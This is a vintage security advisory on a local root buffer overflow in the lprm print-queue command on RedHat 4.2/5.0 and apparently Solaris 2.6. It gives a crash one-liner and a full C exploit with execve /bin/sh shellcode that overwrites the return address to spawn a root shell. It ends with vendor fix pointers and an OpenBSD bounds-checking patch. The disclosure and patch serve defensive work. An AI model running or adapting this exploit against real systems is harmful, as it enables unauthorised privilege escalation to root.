COMMAND
lprm
SYSTEMS AFFECTED
RedHat 4.2, 5.0, Solaris 2.6(?)
PROBLEM
Chris Evans found a local->root compromise in the lprm program, as
shipped RedHat4.2 and RedHat5.0. Other systems untested. There is
a prerequisite to exploiting this, that a remote printer be
defined (rm field). If trying to remove entries from a remote
queue, the args given are basically strcat()'ed into a static
buffer. Thus:
lprm -Psome_remote `perl -e 'print "a" x 2000'`
Segmentation fault
gdb confirms the program is attempting to execute code at
0x41414141 so making exploit is easy (see below). It seems that
Solaris 2.6 has same problem (2.5.1 is safe).
Other potential problems include assumptions about host name max
lengths, dubious /etc/printcap parsing (but it seems user defined
printcap files are not allowed). There is also a blatant
strcpy(buf, getenv("something")) but luckily it is #ifdef'ed out.
File/filename handling looks iffy at times too. Exploit for this
one now follows:
/* lprm.c
* The offset will be very high for some reason, so don't be alarmed.
* This was tested with Redhat 4.2. This will only work with a
* remote printer defined in /etc/printcap. Remember to change
* the PRINTER define accordingly.
* Seth McGann <smm@wpi.edu>
*/
#include <stdio.h>
#define PRINTER "-Pwhatever"
static inline getesp() {
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
"\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";
buffer=990;
offset=3000;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}
SOLUTION
You can get a updated lprm from the redhat site... for both 4.2
and 5.0. OpenBSD, FreeBSD fixed it long ago. NetBSD
incorporated the fixed-up BSD lpr system and the fixed-up version
is in the NetBSD 1.3 release. Here's OpenBSD solution:
===================================================================
RCS file: /usr/OpenBSD/cvs/src/usr.sbin/lpr/common_source/rmjob.c,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -r1.3 -r1.4
--- src/usr.sbin/lpr/common_source/rmjob.c 1996/07/04 05:41:52 1.3
+++ src/usr.sbin/lpr/common_source/rmjob.c 1996/10/25 19:38:21 1.4
@@ -327,12 +327,12 @@
(void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
cp = buf;
- for (i = 0; i < users; i++) {
+ for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof buf; i++) {
cp += strlen(cp);
*cp++ = ' ';
strcpy(cp, user[i]);
}
- for (i = 0; i < requests; i++) {
+ for (i = 0; i < requests && cp-buf+10 < sizeof buf; i++) {
cp += strlen(cp);
(void) sprintf(cp, " %d", requ[i]);
}